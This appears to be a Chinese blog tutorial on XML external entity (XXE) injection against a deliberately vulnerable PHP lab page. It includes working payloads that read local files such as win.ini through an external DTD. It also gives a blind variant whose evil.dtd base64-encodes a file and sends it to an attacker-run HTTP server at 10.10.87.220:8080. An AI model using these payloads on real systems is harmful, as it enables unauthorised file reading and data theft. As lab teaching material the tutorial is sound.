XXE之文件随意读取

tech2024-11-04  22

XXE的利用

声明:

我们本次实验所使用的php版本为5.4版本,有些版本是实验不成功的

XXE注入可分为有回显的与没有回显的

有回显的:制造一个具有xxe漏洞的代码(xxe.php)

<?php $xml=simplexml_load_string($_GET['xml']); echo $xml; //这是有回显的xxe注入 ?>

首先我们使用我们本地的服务器进行探测,使用burpsuite进行抓板进行分析

我们可以看到我们提交的参数已经出现在了这里,我们需要注意的就是由于浏览器的一些奇怪特性,我们不能直接在请求头更改值,我们需要进入到Params处进行更改value值

我们先输入测试代码

<!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe "Thinking">]><foo>&xxe;</foo>

注释:

<!-- DTD 代码 --> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!-- 元素foo --> <!ENTITY xxe "Thinking"> <!-- 实体名称xxe,实体的值thinking--> ]> <!-- XML代码 --> <foo>&xxe;</foo> <!-- &调用实体xxe,分号起分隔的作用 -->

需要注意的是我们发现我们输入的特殊字符被转移成url格式

<!DOCTYPE%20foo%20[<!ELEMENT%20foo%20ANY%20><!ENTITY%20xxe%20"Thinking">]><foo>%26xxe;</foo>

通过提交内容我们发现这里存在XML注入,于是我们构造全新payload进行任意文件读取

<!ENTITY % 实体名称 “实体的值”> // or <!ENTITY % 实体名称 SYSTEM “URI”> <!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY % xxe SYSTEM "http://10.10.87.220/evil.dtd">%xxe;]><foo>&evil;</foo> evil.dtd(这个是我们引用外部文件的文件名) <!ENTITY evil SYSTEM "file:///c:/windows/win.ini" >

我们发现我们读取到了本地的文件,当我们更改路径之后成功读取其他文件,需要注意的是文件内容不能包含“< >”等特殊字符,否则会报错

接下来我们实验没有回显的

xxe1.php <?php $xml=@simplexml_load_string($_POST['xml']); ?> payload:(已知本地存在2.txt文件) <!DOCTYPE updateProfile [<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./2.txt"><!ENTITY % dtd SYSTEM "http://10.10.87.220:8080/evil1.dtd">%dtd;%send;]> 在这里我们需要引用另一款工具:HPS http file server,这款工具的作用可以用来传输文件(会有返回的信息内容),在这里我们可以通过这款工具进行接收返还的内容 evil1.dtd <!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://10.10.87.220:8080/?data=%file;'>" > %all;

由于我们使用了base64对内容进行加密,所以我们可以使用小葵进行解密(由于小弟并不是专业的xml代码编写者,所以这些代码很多都是直接在网上找的通用的,大家可以在工作中直接修改核心部分,例如地址等)

最新回复(0)